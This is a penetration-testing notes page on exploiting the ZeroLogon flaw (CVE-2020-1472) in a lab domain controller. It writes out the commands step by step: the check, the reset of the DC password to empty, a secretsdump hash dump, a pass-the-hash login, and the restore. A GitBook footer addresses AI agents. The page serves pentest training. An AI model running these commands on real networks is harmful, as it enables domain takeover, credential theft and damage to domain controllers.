> For the complete documentation index, see [llms.txt](https://csbygb.gitbook.io/pentips/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://csbygb.gitbook.io/pentips/windows/attacking-ad/zerologon.md).

# Abusing ZeroLogon

## Methodology

* Attacking DC and setting pass to null and taking over DC **CAREFUL COULD DESTROY DC**
* Check priorly if the target is vulnerable *Note: Useful for a pentest to mention to the customer that they are vulnerable without actually doing the exploitation*

  ```
  ┌──(root💀kali)-[/home/kali/CVE-2020-1472]
  └─# python3 zerologon_tester.py HYDRA-DC 10.0.2.5
  Performing authentication attempts...
  ===================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================
  Success! DC can be fully compromised by a Zerologon attack.
  ```
* Changing the password to empty string: `python3 exploit.py HYDRA-DC 10.0.2.5`
* Check if it worked: `secretsdump.py -just-dc DOMAIN/DOMAIN-CONTROLLER\$@IP-OF-DC` Example: `secretsdump.py -just-dc MARVEL/HYDRA-DC\$@10.0.2.5`
* If we were able to dump hashes without typing password it means we owned the DC.
* Restore the machine
  * Use the admin hash to get the plain\_password\_hex `secretsdump.py administrator@10.0.2.5 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0`
  * Restore the password `python3 restorepassword.py MARVEL/HYDRA-DC@HYDRA-DC -target-ip 10.0.2.5 -hexpass <Put here the hexpass you just got>`\
    The console should print `Change password OK`
* There is also another way to exploit zerologon without resetting the DC password, check out [Dirk-Jan Mollema's article about this](https://dirkjanm.io/a-different-way-of-abusing-zerologon/)

## Zerologon - Resources

{% embed url="<https://lisandre.com/archives/14978>" %}
Zerologon (CVE-2020-1472) by Lisandre
{% endembed %}

{% embed url="<https://www.trendmicro.com/en_us/what-is/zerologon.html>" %}
What is ZeroLogon?
{% endembed %}

{% embed url="<https://github.com/dirkjanm/CVE-2020-1472>" %}
dirkjanm CVE-2020-1472
{% endembed %}

{% embed url="<https://github.com/SecuraBV/CVE-2020-1472>" %}
SecuraBV ZeroLogon Checker
{% endembed %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://csbygb.gitbook.io/pentips/windows/attacking-ad/zerologon.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
